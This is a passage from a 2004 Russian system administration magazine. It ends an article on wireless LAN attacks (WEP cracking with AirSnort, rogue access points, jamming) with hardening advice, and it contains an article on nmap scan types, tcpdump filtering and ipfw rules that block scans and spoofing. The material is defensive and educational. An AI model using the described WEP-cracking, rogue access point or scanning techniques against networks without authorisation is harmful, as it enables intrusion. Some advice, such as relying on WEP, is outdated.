дой «ifconfig». К тому же MAC-адреса передаются в сети
открытым текстом, и их сбор также не составит боль-
шого труда.
В сети может быть активирован WEP, но его тоже мож-
но обойти, т.к. текст-запрос и шифр-текст передаются в
открытом виде, и атакующий сможет подобрать ключ и
проникнуть в сеть. Для взлома WEP злоумышленнику по-
надобится специальный сниффер. AirSnort – специальная
программа для *nix-платформ для взлома WEP-ключей.
Ðèñóíîê 4. Ðàáî÷åå îêíî ïðîãðàììû AirSnort
№1(14), январь 2004
безопасность
Рабочее окно программы отображено на рисунке 4.
AirSnort должен собрать от 500мб до 1000 Мб трафика
чтобы получить WEP-ключ. Это может занять от пары ча-
сов до нескольких дней, всё зависит от загруженности
сети: чем она загруженней, тем быстрее атакующий по-
лучит ключ. AirSnort использует маленький 24-битный IV,
так что не имеет особого значения, какой длины ключ:
64-битный или 128-битный. После того как хакер захва-
тил нужное количество трафика, ему понадобится про-
грамма WEPcrack. Это скрипт, который используют для
вычисления WEP-ключа из захваченного трафика. Как
только ключ захвачен, атакующий может присоединить-
ся к точке доступа.
При соединении с беспроводной сетью взломщик ис-
пользует обычные средства, характерные для кабельных
сетей, такие как: подбор паролей, поиск уязвимых серви-
сов или просто DoS-атаки или SYN-флуд.
Так, одной из самых результативных атак является
атака «Man-in-the-Middle».
Атака человек-по-середине заключается в перехвате
сеанса 2 клиентов. Атакующий имеет 2 сетевых адаптера
и организовывает фальшивую точку доступа. Он застав-
ляет других клиентов использовать его точку доступа, а
сам перенаправляет трафик на реальную точку доступа,
тем самым, получая доступ ко всем сеансам связи.
Злоумышленник может установить фальшивую точку
доступа в машине, под окном организации, в вентиляци-
онной системе, под столами, в кладовках и т. п. Если его
антенна достаточно мощная, то ему необязательно ста-
вить фальшивку близко к легитимной точке доступа.
35
 безопасность
Атаки помехами
Цель атаки – глушение сигнала, т.е. это атака на отказ в
обслуживании, специфичная для беспроводных сетей.
Суть атаки заключается в генерации радиошума на час-
тоте работы беспроводной сети. Это не значит, что глу-
шение сигнала является чётким признаком атаки, так как
помехи могут исходить от посторонних радиоустройств,
таких как радиотелефоны, пейджеры, микроволновые
печи и т. п. В таких случаях администратор должен при-
нять следующие меры: отключить bluetooth-устройства в
зоне действия беспроводной сети, убрать радиотелефо-
ны и прочую радиотехнику, методом исключений выявить
источник помех и убрать его. Умышленная атака проис-
ходит следующим образом:

Атакующий анализирует спектр.

Выявляет частоты, на которых работает беспроводная
сеть.

Генерирует мощный сигнал на найденных частотах,
тем самым подавляя сигнал беспроводной сети.
К счастью, данный метод не распространён, так как
конечный итог несоизмерим с затратами на его реализа-
цию. Много мороки для отключения сети на некоторое
время.
В то же время администратору достаточно просто пе-
реключить сеть на другую частоту.

.Организуйте систематическую смену WEP-ключей.

.Смените SSID, установленный по умолчанию на что-
нибудь трудно угадываемое.

Используете систему общего ключа вместо открытой
системы.

Используйте фильтрацию MAC-адресов.

Организуйте систематическую инвентаризацию бес-
проводных сетевых адаптеров, чтобы убедиться, что
каждый сотрудник пользуется своим адаптером.

Блокируйте MAC-адреса утраченных WLAN-адаптеров.

Применяйте пароли на точках доступа.

Обеспечьте сотрудников антивирусным программным
обеспечением и персональными межсетевыми экра-
нами.

Совмещая межсетевой экран с IPsec, SSH, или SSL,
вы значительно укрепите безопасность своей сети.

Имейте в виду, что любой, находясь в зоне действия
точки доступа, может подключиться к сети.
Ссылки на программные продукты
1. AirSnort – http://airsnort.sourceforge.net
2. WEPcrack – http://wepcrack.sourceforge.net
3. NetStumbler – http://www.netstumbler.com

Рекомендации по обеспечению
безопасности беспроводных сетей
Подводя итоги, рассмотрим ряд рекомендаций по обес-
печению безопасности беспроводной сети.

Приобретайте WLAN-продукты с собственным меха-
низмом защиты.

Установите RADIUS-серверы на кабельном участке
сети, для авторизации беспроводных клиентов. Имей-
те в виду, что Extensible Authentication Protocol – про-
токол расширенной авторизации (EAP) может быть ис-
пользован совместно с 802.1X.

Блокируйте доступ к кабельной сети, пока RADIUS-сер-
вер не авторизирует WLAN-клиента.

Устанавливайте межсетевой экран перед точкой дос-
тупа, это позволит заранее отфильтровать подозри-
тельную активность.

Все неиспользуемые сервисы должны быть отключе-
ны, а попытки их использования записаны в систем-
ных журналах(SysLog), которые в свою очередь долж-
ны быть установлены в демилитаризованной зоне
(DMZ).

Систему обнаружения атак (IDS) также никто не отме-
нял.

Неплохой идеей является развёртка VPN и «отселе-
ние» WLAN в неё. Это позволит вам воспользоваться
следующими методами шифрации данных:

IKE – 3DES, SHA-HMAC, DH Group 2 и общий ключ.

IPSec – 3DES, SHA-HMAC, без PFS и режим тонне-
лирования.

Активируйте WEP, несмотря на его несовершенность.
Статистика показывает, что всего лишь 30% точек
доступа использует WEP.

36
безопасность

САМ СЕБЕ АНТИХАКЕР

ЗАЩИТА ОТ ХАКЕРСКИХ АТАК С ПОМОЩЬЮ ipfw
На то и хакер в Сети, чтоб админ не дремал.
Народная мудрость

То, что Интернет является агрессивной средой, уже давно ни для кого не является новостью. Стоимость
информации может быть настолько высока, что с лихвой окупает любые затраты на ее получение.
Кроме того, обострение конкуренции подчас приводит к выбору весьма агрессивных методов борьбы
с «коллегами по цеху», одним из которых является вывод из строя или временная недоступность
сетевого оборудования конкурента. Ну и с каждым днем все острее становится проблема сетевого
хулиганства. Умение защищать сервер и локальную сеть предприятия от подобных атак становится
обязательным требованием к квалификации системного администратора даже на небольших
предприятиях, на которых самая секретная информация – почтовые ящики сотрудников.

СЕРГЕЙ СУПРУНОВ

38

Известно, что любая грамотная атака начинается с раз-
ведки – сбора всей доступной информации об объекте
нападения. Цель данной статьи – познакомить читателя с
основными методами подобной разведки и способами
защиты от них с помощью пакетного фильтра ipfw. Попут-
но нам придется подробно рассмотреть базовые прото-
колы передачи данных (IP, TCP, UDP) и программу
tcpdump, позволяющую осуществлять контроль за прохо-
дящими через машину пакетами.
Стек протоколов TCP/IP
Протоколы TCP/IP являются базовыми в сети Интернет.
В эталонной модели OSI они занимают верхние уров-
ни, начиная с сетевого (протоколы ARP и RARP также
частично выполняют функции канального уровня). По-
скольку наша задача – защита с помощью брандмауэ-
ра ipfw, работающего на сетевом и транспортном уров-
нях, то подробно рассмотрим интернет-протоколы этих
двух уровней.
Òàáëèöà 1
Протоколы сетевого уровня
Основным интернет-протоколом сетевого уровня являет-
ся протокол IP. В его задачу входит маршрутизация паке-
тов в соответствии с IP-адресами, то есть определение
маршрута следования пакета от источника к приемнику и
передача его по требуемому адресу, а также фрагмента-
ция и сборка пакетов верхних уровней. Основной формат
заголовка IP-пакета представлен на рисунке:
Первый байт делится между номером версии прото-
кола (4 для IPv4) и длиной IP-заголовка HdrLen (как пра-
вило 20 байт). Следующий байт задает тип обслужива-
ния пакета (TOS), далее два байта – общая длина пакета.
Следующие восемь байт содержат информацию о фраг-
ментации пакета, необходимую для его последующей
сборки. Среди прочего здесь располагается флаг DF, ус-
тановка которого запрещает фрагментацию пакета. Де-
вятый и десятый байты содержат информацию соответ-
ственно о времени жизни пакета (TTL) и протоколе
(Protocol) верхнего уровня, которому пакет должен быть
передан для дальнейшей обработки; затем два байта –
контрольная сумма. Замыкают заголовок IP-адреса источ-
ника и приемника, занимающие по четыре байта. В об-
щем случае далее могут следовать опциональные поля
(их количество определяется длиной заголовка пакета).
Затем идут собственно пользовательские данные. Под
пользователем в данном случае понимается протокол
более высокого уровня (TCP или UDP).
№1(14), январь 2004
безопасность
Наиболее важной информацией, содержащейся в IP-
заголовке, для нас является время жизни пакета и адре-
са источника и приемника. Заметим, что информации о
портах в IP-заголовке нет, поскольку данная информация
используется на транспортном уровне и не требуется для
маршрутизации пакета.
Помимо IP-протокола на сетевом уровне располагает-
ся также протокол ICMP – Internet Control Message Protocol,
который используется для обмена служебной информаци-
ей между хостами. Наиболее известный и наглядный при-
мер использования этого протокола – команда ping. Заго-
ловок ICMP-пакета во многом идентичен IP-заголовку.
Протоколы транспортного уровня
Транспортный уровень представлен протоколами TCP и
UDP. Общий формат заголовка TCP-пакета:
Первые четыре байта содержат информацию о портах
источника и получателя (по два байта каждый). Номер пос-
ледовательности (4 байта) используется для нумерации
передаваемых байтов (позволяет контролировать порядок
получения и сборки). Следующие четыре байта (номер под-
тверждения) содержат номер последовательности следу-
ющего (ожидаемого) байта и устанавливаются при подтвер-
ждении получения предыдущего пакета. Далее следует
четыре бита длины заголовка и четыре зарезервирован-
ных для дальнейшего использования бита. Чрезвычайно
важный 14-й байт (флаги TCP-заголовка) подробно рас-
смотрен в следующем абзаце. Далее по два байта занима-
ет информация об окне (размере буфера) приема (Window),
контрольной сумме и указателе на первый байт данных,
помеченный на первоочередную обработку (Urgent).
Ниже представлен формат 14-го байта, содержащего
флаги TCP-пакета:

FIN – флаг «мягкого» завершения соединения. При по-
лучении пакета с этим флагом удаленная сторона пе-
редает информацию, накопленную в буфере, и завер-
шает сеанс;

SYN – флаг «синхронизации» используется при зап-
росе на установление соединения. Так, при желании
установить связь система выставляет пакет с флагом
SYN. Удаленная система отвечает на него пакетом с
установленными битами SYN и ACK (см. ниже). В от-
вет на этот пакет высылается пакет подтверждения с
флагом ACK, после чего TCP-соединение считается ус-
тановленным;

RST – сигнал «сброса» (жесткий разрыв соединения).
При получении пакета с таким битом удаленная сис-
тема должна прекратить сеанс связи немедленно;

PSH – команда на принудительную внеочередную пере-
дачу информации, накопленной в буфере (в нормальном
режиме TCP-пакеты отсылаются не сразу, а предвари-
тельно накапливаются в буфере передачи и отсылаются
только при достижении определенного размера буфера);
39
 безопасность

ACK – флаг «подтверждение приема». Данный флаг
должен выставляться в ответ на безошибочный при-
ем любого пакета;

URG – пакет содержит данные, имеющие высокий при-
оритет (которые должны обрабатываться в первую оче-
редь).
Наиболее важной с точки зрения фильтрации инфор-
мацией TCP-заголовка являются флаги и адреса портов.
IP-адреса в данном заголовке не передаются, поскольку
за маршрутизацию отвечает сетевой уровень, обслужи-
ваемый протоколом IP.
Формат UDP-заголовка намного проще:
То есть в данном случае передаются номера портов
источника и приемника, длина пакета и контрольная
сумма заголовка, после чего следуют пользовательс-
кие данные.
Основные способы сканирования портов
Для того чтобы получить информацию об атакуемой ма-
шине или сети, чаще всего используется сканирование
портов. Этот метод заключается в том, что последова-
тельно отсылаются пакеты, предназначенные различным
портам удаленной машины, и на основании полученных
ответов делается вывод о том, открыт данный порт (то
есть работает ли программа, обслуживающая пакеты,
приходящие на него) или закрыт. Также по характеру ре-
акции «жертвы» на нестандартные пакеты довольно ча-
сто удается определить операционную систему, работа-
ющую на сканируемой машине, и версии обслуживаю-
щих соответствующие порты программ.
Одной из наиболее распространенных в среде Unix
утилит для определения доступных портов является про-
грамма nmap. Для FreeBSD она может быть установлена
из коллекции портов: /usr/ports/security/nmap.
Упрощенно формат ее запуска следующий:
# nmap [options] hosts
Параметр hosts задает список сканируемых хостов
через запятую или диапазон сканируемых адресов через
дефис. Опции задают метод сканирования и могут иметь
следующие значения:

-sT – обычное сканирование, когда соединение с каж-
дым портом устанавливается полностью, а затем раз-
рывается;

-sS – полусоединение, когда связь разрывается после
ответа SYN+ACK удаленной машины;

-sF – сканирование пакетами с установленным фла-
гом FIN. Поскольку соединение не установлено, то уда-
ленная система обрабатывает эту ситуацию как оши-
бочную, причем для различных операционных систем
реакция может быть различной, что в ряде случаев по-
зволяет также определить ОС, работающую на скани-
руемой машине;

-sX – в сканирующих пакетах устанавливаются все
флаги;
40

-sN – в сканирующих пакетах не установлен ни один
флаг. Поскольку обе эти ситуации не предусмотрены
протоколом, то по реакции на нее удаленной системы
можно попытаться определить тип ОС и версии запу-
щенных программ;

-sP – обычный ping, то есть порты не сканируются, а
просто проверяется доступность всех хостов, перечис-
ленных в параметрах команды, с помощью пакетов
«Echo Request» протокола ICMP;

-sU – сканирование UDP-портов.
Еще два полезных флага: -O, который инициирует по-
пытку определить операционную систему на удаленной
машине, и –I, по которому nmap пытается определить
пользователя, с правами которого запущена служба, об-
служивающая сканируемый порт.
Помимо nmap существует множество программ, в той
или иной мере решающих задачу определения открытых
портов на удаленной машине. Одной их таких для среды
Windows является XSpider, разрабатываемый компанией
Positive Technologies.
Программа tcpdump
В состав большинства операционных систем семейства
Unix входит очень полезная утилита tcpdump, которая по-
зволяет системному администратору просматривать и
анализировать пакеты, проходящие через машину, на
которой она запущена. Для работы с ней вы должны иметь
права root.
Утилита имеет следующие ключи запуска:
tcpdump [ -adeflnNOpqStvx ] [ -c count ] [ -F file ]
[ -i interface ] [ -r file ] [ -s snaplen ]
[ -T type ] [ -w file ] [ expression ]
Ознакомиться со всеми ключами можно на странице
справочного руководства man tcpdump(1). Здесь мы рас-
смотрим только наиболее полезные параметры.
Запущенная без дополнительных параметров, tcpdump
будет выводить на экран заголовки всех пакетов, прохо-
дящих через все активные интерфейсы системы. Список
прослушиваемых интерфейсов будет отображен в первой
строке:
В общем случае формат выводимой информации сле-
дующий:
Timestamp – время прохождения пакета с точностью
до микросекунд. Далее следуют адреса и порты источ-
ника и приемника (адрес и порт разделены точкой). И
адрес, и порт по возможности представляются в сим-
вольном виде. Если определить его не удается, печа-
тается IP-адрес и номер порта. После двоеточия следу-
ет перечисление установленных флагов («S» – SYN, «F»
– FIN, «P» – PSH, «R» – RST, «.» – ни один из этих фла-
гов не установлен). Следующий необязательный блок

задает начальный (first) и конечный (last) номера пос-
ледовательности пакетов и число байт (bytes) пользо-
вательских данных в ней. Конечный номер (last) в пос-
ледовательность не включается. Запись «ack» включа-
ется в строку, если пакет содержит флаг ACK. «Win»
указывает размер окна приема, «urg» устанавливает-
ся, если пакет имеет данные с высоким приоритетом и
должен обрабатываться в первую очередь (установлен
флаг URG). Секция «options» может содержать допол-
нительную информацию о пакете, заключаемую в уг-
ловые скобки.
В качестве примера рассмотрим, как выглядит в
tcpdump запрос к веб-серверу 1.2.3.4 со стороны хоста
host.ru. Для сокращения записи временные штампы опу-
щены (этого можно достичь с помощью параметра –t):
В первой строке хост host.ru со своего порта 2200
отправляет на порт http хоста 1.2.3.4 запрос на уста-
новку соединения (флаг SYN). Начальный и конечный
номера последовательности совпадают, поскольку
пользовательская информация при этом не передает-
ся. Размер буфера приема – 8192 байта. В угловых скоб-
ках передается дополнительная информация, в том
числе параметр mss (max segment size), ограничиваю-
щий количество пользовательской информации в од-
ном пакете. Признак (DF) сообщает о том, что фраг-
ментация данного пакета запрещена. Хост 1.2.3.4 от-
вечает пакетом с установленным флагом SYN и фла-
гом подтверждения ACK, вместе с которым передается
и номер подтверждения (номер последовательности,
который хост 1.2.3.4 будет ожидать в следующем паке-
те). В третьей строке host.ru отвечает пакетом с фла-
гом ACK (далее нумерация последовательностей отно-
сительная, то есть номер 1 означает, что ожидается
первый пакет в данном сеансе связи). После этого со-
единение считается установленным.
В следующем пакете host.ru отправляет пользовательс-
кий запрос (500 байт) с установленным флагом очистки
буфера PSH, а заодно подтверждает прием предыдуще-
го пакета (установленный флаг ACK). В ответ хост 1.2.3.4
отсылает серию пакетов с запрошенной информацией
(первые четыре по 1460 байт (действует ограничение
mss, установленное ранее и запрещающее передавать
в одном пакете больше 1460 байт пользовательской ин-
формации), в последнем – оставшиеся 72 байта). Далее
№1(14), январь 2004
безопасность
host.ru отсылает подтверждения на полученные пакеты,
одновременно открывая еще одно соединение, скорее
всего для загрузки изображения, содержащегося на зап-
рошенной странице.
Рассмотрим наиболее полезные параметры програм-
мы tcpdump:

-c № – завершает работу после получения № пакетов;

-e – выводит информацию, содержащуюся в заголов-
ке канального уровня. Данная информация выводит-
ся между штампом времени и адресом источника и
содержит, в частности, MAC-адреса источника и при-
емника;

-i interface – позволяет прослушивать указанный ин-
терфейс (по умолчанию прослушиваются все актив-
ные интерфейсы);

-n – все адреса хостов и порты представляются в циф-
ровом виде;

-N – не печатать полное доменное имя. Например, если
данная опция установлена, то адрес и порт
«host.server.ru.http» будут представлены в виде
«host.http»;

-q – минимизирует выводимую информацию. Резуль-
тат будет примерно таким:
То есть указываются только адреса и порты источни-
ка и приемника, протокол верхнего уровня, размер пе-
реданной информации и некоторые дополнительные све-
дения. Использование этого параметра совместно с оп-
цией «-t» (см. ниже) позволит еще больше сократить вы-
водимую информацию, и если повезет, то строки даже
смогут полностью поместиться на экране.

-S – выводит абсолютные, а не относительные, но-
мера последовательности для установленных соеди-
нений;

-t – не выводит на экран штамп времени, что несколь-
ко укорачивает строку вывода;

-tt – выводит неформатированный штамп времени в
виде «СЕКУДНЫ.МИКРОСЕКУНДЫ»;

-v, -vv – управляет выводом дополнительной инфор-
мации (такой, как время жизни пакета TTL, идентифи-
кационная информация, и т. д.);

-x – выводит после информации о заголовках каж-
дый пакет в шестнадцатеричном виде (информация
заголовка для сокращения записи в примере обре-
зана):
41
 безопасность
Перечисленные выше параметры позволяют органи-
зовать вывод информации в более удобном виде. Следу-
ющие опции, задаваемые в параметре «expression», по-
зволяют ограничить выборку пакетов определенными ус-
ловиями. Рассмотрим только наиболее часто используе-
мые на конкретных примерах.
Ограничить собираемую информацию конкретным ад-
ресом позволяет следующая команда:
# tcpdump host <host>
При этом будут выбираться только пакеты, источни-
ком или приемником которых является <host>. Конкрети-
зировать направление передачи можно, указав дополни-
тельный параметр:
# tcpdump {src | dst} host <host>
Таким же образом просмотр пакетов можно ограни-
чить по тому или иному порту или по конкретному про-
токолу:
# tcpdump [{src | dst}] port <port>
# tcpdump {tcp | udp | icmp}
Ограничить выборку конкретной подсетью позволяет
ключевое слово «net». Допускается использование как
десятично-точечной нотации, так и нотации CIDR:
# tcpdumt net 192.168.0.0 mask 255.255.255.0
# tcpdumt net 192.168.0.0/24
Наибольшую ценность имеет возможность задавать
выражения выборки. Запись вида proto[byte] позволяет
выбрать конкретный байт в заголовке протокола proto.
К полученному байту можно применить операции срав-
нения (=, !=, <, >), а также бинарные операции «&» (AND),
«|» (OR) и другие. Например, чтобы выбрать пакеты, в
которых установлены флаги SYN или ACK в заголовке
TCP-протокола, можно воспользоваться командой:
# tcpdump ‘tcp[13] & 18 != 0’
Кавычки используются, чтобы не позволить команд-
ной оболочке самой интерпретировать специальные сим-
волы типа «&». В приведенном выше примере мы выби-
раем 14-й байт TCP-заголовка, содержащий флаги (не
забывайте, что нумерация начинается с нуля), и выпол-
няем операцию логического побитного сложения его со-
держимого с числом «10010» (десятичное 18), то есть
выделяем разряды, соответствующие флагам ACK и
SYN. Если хотя бы один из них установлен, то результат
не будет равен нулю, и информация по данному пакету
будет выведена на экран.
Следующие две команды позволят выбирать пакеты,
у которых установлены все флаги (первая) и не установ-
лено ни одного (вторая):
# tcpdumt ‘tcp[13] & 63 = 63’
# tcpdump ‘tcp[13] & 63 = 0’
Еще два полезных параметра: «-w file» и «-r file». Эти
42
ключи позволяют соответственно писать информацию в
файл file и читать ранее сохраненные данные из файла.
Эта возможность позволяет, например, включить на ночь
запись в файл пакетов со всеми флагами, установлен-
ными в единицу, а затем проанализировать полученный
файл. Однако нужно помнить, что при интенсивной ра-
боте размер такого файла может расти очень быстро и
заполнить все пространство на диске.
Помимо перечисленных, tcpdump имеет еще целый ряд
возможностей, однако они не имеют прямого отношения
к материалу данной статьи, и потому рассматриваться
здесь не будут.
Использование ipfw для защиты
от сканирования
Вот мы и подошли к основному вопросу статьи. Дальней-
шее изложение предполагает, что читатель знаком с воп-
росами установки и настройки пакетного фильтра ipfw,
входящего в состав FreeBSD.
В данной статье остановимся лишь на тех особенно-
стях, которые будут использоваться нами для построе-
ния правил защиты. Все примеры относятся к версии
ipfw, используемой начиная с 5-й версии FreeBSD. В бо-
лее ранних версиях некоторые особенности могут не
работать или иметь несколько отличный от приведенно-
го в статье синтаксис.
В общем виде правило ipfw задается следующим об-
разом:
Íîìåð Äåéñòâèå Ïðîòîêîë from Èñòî÷íèê to Ïðèåìíèê [Îïöèè]
Интерес для нас представляет секция Опции, которая
может содержать один или несколько следующих пара-
метров:

via интерфейс – имя интерфейса системы (например,
сетевой карты). Если этот параметр задан, правило
будет применяться только к пакетам, проходящим че-
рез указанное устройство;

{in | out} – опционально может быть указано направле-
ние прохождения пакета (in – входящий по отношению
к машине, на которой работает ipfw; out – исходящий;
по умолчанию учитываются как входящие, так и исхо-
дящие пакеты);

frag – правилу будут удовлетворять только фрагмен-
тированные пакеты (кроме первого фрагмента);

icmptypes types – тип icmp-пакетов (types может иметь
следующие значения: 0 – echo replay, 3 – destination
unreach, 5 – redirect, 8 – echo request, 11 – time-to-live
exceeded, 12 – IP-header bad, 15 – information request,
16 – information replay и другие);

iplen length – длина IP-пакета;

established – TCP-пакеты с установленными флагами
RST или ACK, то есть пакеты, принадлежащие уста-
новленному соединению;

ipttl ttl – пакеты с определенным временем жизни (time-
to-live, ttl);

setup – пакеты, запрашивающие установление соеди-
нения (с установленным битом SYN, но без флага
ACK);


limit {src-addr | src-port | dst-addr | dst-port} N – вво-
дит ограничение на число одновременных соедине-
ний, удовлетворяющих правилу. Все последующие
(свыше N) соединения будут считаться не соответ-
ствующими данному правилу. Признаки src-addr, src-
port, dst-addr и dst-port указывают, что учитываются
пакеты с одного IP-адреса источника, с порта источ-
ника, на один адрес приемника или на порт прием-
ника соответственно.
В качестве примера приведу правило, позволяющее
ограничить число TCP-соединений на данную машину с
одного IP-адреса (признак src-addr):
# ipfw add number allow tcp from any to me setup ↵
limit src-addr 5
Данное правило пропустит только первые 5 запросов
на соединение (признак setup), поступившие с одного IP-
адреса, а для остальных пакетов с этого адреса проверка
на соответствие правилам будет продолжена, и в случае
закрытого брандмауэра они будут отброшены после про-
верки всей цепочки правил.

uid user – пакеты, посланные указанным пользовате-
лем или адресованные указанному пользователю;

gid group – пакеты, посланные пользователем, принад-
лежащим группе group или адресованные пользова-
телю этой группы;

tcpwin win – TCP-пакеты с указанным размером окна
приема (window);

tcpflags флаги – задает перечень флагов TCP-паке-
та, которые должны быть установлены. Допускаются
значения fin, syn, rst, psh, ack и urg. Символ «!» перед
именем флага означает, что данный флаг должен
быть сброшен.
Любой из этих параметров может предваряться слу-
жебным словом «not», которое инвертирует значение па-
раметра.
Как мы видели, один из способов сканирования пор-
тов удаленной машины – посылка пакетов с установлен-
ным флагом FIN. Такое сканирование может быть выпол-
нено, например, с помощью команды:
# nmap –sF <host>
В нормальной ситуации данный флаг сигнализирует
об окончании сеанса связи, но поскольку в данном слу-
чае связь не установлена, то запрошенная система отве-
чает сообщением об ошибке, по наличию которого хакер
и определяет, открыт сканируемый порт или нет. Защи-
титься от подобного сканирования можно с помощью сле-
дующего правила:
# ipfw add number reject tcp from any to any ↵
not established tcpflags fin
В соответствии с ним все TCP-пакеты с установлен-
ным флагом FIN, но не принадлежащие установленным
соединениям (not established) будут отбрасываться.
Сканирование с установкой или сбросом всех флагов
№1(14), январь 2004
безопасность
(параметры nmap –sX и –sN соответственно) можно сде-
лать бесполезным, добавив в цепочку следующие два
правила:
# ipfw add number reject tcp from any to any ↵
tcpflags fin, syn, rst, psh, ack, urg
# ipfw add number reject tcp from any to any ↵
tcpflags !fin, !syn, !rst, !psh, !ack, !urg
То есть если в пакете все флаги установлены или, на-
оборот, сброшены, то пакет будет отброшен соответству-
ющим правилом.
От сканирования, выполняемого с параметрами nmap
–sT и –sS («соединение» и «полусоединение»), нельзя
закрыться запрещающим правилом, подобно изложенно-
му выше, поскольку при данных методах сканирования
соединение устанавливается (или начинает устанавли-
ваться) в соответствии с протоколом TCP. Естественно,
мы не можем запретить все пакеты, запрашивающие со-
единение с тем или иным портом. Однако поскольку и
реакция на такие пакеты будет стандартной, то злоумыш-
ленник уже не сможет получить дополнительную инфор-
мацию о системе, такую, например, как версия ОС. Кро-
ме того, интенсивность сканирования можно существен-
но снизить, установив ограничение «limit» на число со-
единений с одного адреса (см. выше).
Кроме того, нельзя забывать, что грамотная полити-
ка фильтрации пакетов, когда разрешаются только со-
единения с нужными портами и с ограниченного числа
адресов, позволит сделать сканирование практически
бесполезным.
Раз уж мы взялись защищать нашу сеть от хакеров,
заодно добавим правило против спуфинга (подмены IP-
адресов на легальные). Смысл спуфинга заключается в
том, что злоумышленник отсылает пакеты от имени до-
веренного хоста, подменяя IP-адрес отправителя. Напри-
мер, мы можем закрыть доступ к порту 110 (POP3) со всех
адресов, кроме локальной подсети 193.163.0.0/24. Но если
хакер пошлет на порт 110 пакет от имени пользователя
локальной сети, например, подставив адрес 193.163.0.12,
то он получит доступ к порту. Конечно, исключить такую
возможность можно грамотной маршрутизацией, но под-
страховаться никогда не вредно. Добавим в цепочку еще
одно правило:
# ipfw add 10007 deny ip from any to any not verrevpath in
В результате пакеты, пришедшие с интерфейса, отлич-
ного от того, куда они были бы направлены маршрутиза-
тором, будут отброшены. Это исключит возможность вы-
дать себя за легального пользователя локальной сети,
подключившись извне (конечно, только в том случае, ког-
да локальная сеть и «внешний мир» подключены через
разные интерфейсы).
Кроме того, никогда не лишне (особенно когда речь
идет о безопасности) вести журнал всех «злонамеренных»
пакетов. Для этого правило нужно снабдить ключевым
словом «log» после действия, которое должно быть вы-
полнено по отношению к пакету, удовлетворившему дан-
ному правилу, например:
43
 безопасность
# ipfw add 10007 deny log ip from any to any not verrevpath in
Теперь, если пакет будет получен с «неправильно-
го» интерфейса, то syslogd получит сообщение уровня
LOG_SECURITY, которое будет обработано в соответ-
ствии с настройками в /etc/syslog.conf.
Кроме того, ядро системы должно быть собрано с
опцией «IPFIREWALL_VERBOSE». Чтобы снизить веро-
ятность переполнения диска журнальной информаци-
ей, предусмотрен механизм ограничения числа одина-
ковых записей. Ограничение по умолчанию задается
опцией ядра, например:
option “IPFIREWALL_VERBOSE_LIMIT=100”
В этом случае в журнал будут записаны только 100 за-
писей, соответствующих правилу. Кроме того, это значе-
ние можно переопределить для конкретного правила, за-
дав секцию logamount number после ключевого слова log:
# ipfw add number reject log logamount 5 tcp from ↵
any to any not established tcpflags fin
Журналирование – функция очень полезная, однако
если у вас недостаточно места на диске, то использо-
вать ее следует очень осторожно, поскольку одним из
распространенных последствий DoS-атак является пе-
реполнение раздела файловой системы журнальной ин-
формацией и, как следствие, – отсутствие какого бы то
ни было контроля за попытками подключения к системе
и отказ таких служб, как сервер электронной почты, ко-
торые требуют дискового пространства для своей рабо-
ты, а порой и полная неработоспособность системы. К
слову заметим, что последствия этого можно снизить
правильной разбивкой диска на разделы, когда не осо-
бо важная, но быстрорастущая информация (от ipfw,
apache, squid и т. д.) записывается на свой раздел и не
влияет на разделы, хранящие, например, логи автори-
зации и спул электронной почты.
Итак, мы создали набор базовых правил, которые су-
щественно усложнят сканирование нашей системы. Те-
перь нам нужно записать эти правила в конфигурацион-
ный файл, чтобы при перезагрузке системы они автома-
тически активировались. Для ipfw есть две возможности
увековечить наши правила.
Во-первых, это конфигурационный файл /etc/rc.firewall.
По умолчанию в нем уже содержится два правила с номе-
рами 100 и 200 (иногда и правило 300), которые служат
для обеспечения доступа к «внутреннему» интерфейсу
системы lo0 и ограничивают доступ к «внутренним» ад-
ресам системы 127.0.0.0/8. По аналогии с ними можно
дописать в этот файл и наши правила в виде:
$fwcmd add ÏÐÀÂÈËÎ
Например, упомянутые выше два правила заданы сле-
дующим образом:
$fwcmd add 100 pass all from any to any via lo0
$fwcmd add 200 deny all from any to 127.0.0.0/8
44
Однако нужно иметь в виду, что /etc/rc.firewall – сис-
темный файл, и его лучше не изменять (это позволит из-
бежать проблем, например, при обновлении системы с
помощью cvsup).
Более правильным является конфигурация ipfw как
пользовательского. Для этого в файле /etc/rc.conf поме-
няем тип брандмауэра:
firewall_type=”/etc/ipfw.conf”
Теперь создадим файл ipfw.conf в папке /etc (впрочем,
имя файла может быть любым удобным для вас) и поме-
стим в него наши правила так, как если бы вводили их с
консоли, только без имени программы ipfw. То есть выг-
лядеть этот файл будет примерно так:
# Çàïðåò X-ñêàíèðîâàíèÿ:
add 1001 reject log tcp from any to any ↵
tcpflags fin, syn, rst, psh, ack, urg
# Çàïðåò N-ñêàíèðîâàíèÿ:
add 1002 reject log tcp from any to any ↵
tcpflags !fin, !syn, !rst, !psh, !ack, !urg
# Çàïðåò FIN-ñêàíèðîâàíèÿ:
add 1003 reject log tcp from any to any ↵
not established tcpflags fin
# Çàùèòà îò ñïóôèíãà
add 1004 deny log ip from any to any not verrevpath in
# Îãðàíè÷åíèå ÷èñëà îäíîâðåìåííûõ ñîåäèíåíèé:
add 1005 allow ip from any to any setup limit src-addr 10
Комментарии, как обычно, предваряются символом
«#». Теперь при загрузке системы автоматически будут
включаться правила сначала из rc.firewall, затем из пользо-
вательского файла (в нашем случае ipfw.conf).
На первый взгляд запрет нестандартных пакетов мо-
жет показаться излишним, поскольку в случае «закры-
того» брандмауэра они в любом случае будут отброше-
ны последним запрещающим правилом. Однако их яв-
ный запрет позволит вести запись попыток сканирова-
ния тем или иным методом, что даст возможность вов-
ремя обнаружить чей-то интерес к вашей системе и пред-
принять ряд превентивных мер. Кроме того, размеще-
ние этих правил в начале цепочки позволит несколько
разгрузить систему в случае массированного сканиро-
вания, поскольку нестандартные пакеты не станут про-
веряться на соответствие всем правилам цепочки, а бу-
дут отброшены в ее начале.
Итак, мы рассмотрели основные пути защиты сети,
первая линия обороны которой построена на базе
FreeBSD с брандмауэром ipfw. Безусловно, соответству-
ющей настройки еще не достаточно, чтобы спать спо-
койно. Ежедневный анализ log-файлов, непрерывное
повышение общей грамотности в области протоколов,
межсетевых экранов и т. д. – вот базовые составляю-
щие безопасности. Надеюсь, что эта статья позволит вам
более осознанно строить защиту вашей сети.
Дополнительные материалы:
1. Чубин И. Ipfw и управление трафиком в FreeBSD. //
Журнал «Системный администратор», №6(7) 2003 г. –
26-34 с.
2. Страницы справочного руководства man ipfw, man
tcpdump, man nmap.
безопасность

БЕЗОПАСНОСТЬ УСЛУГ ХОСТИНГА

Размещение данных с использованием услуг, предоставляемых
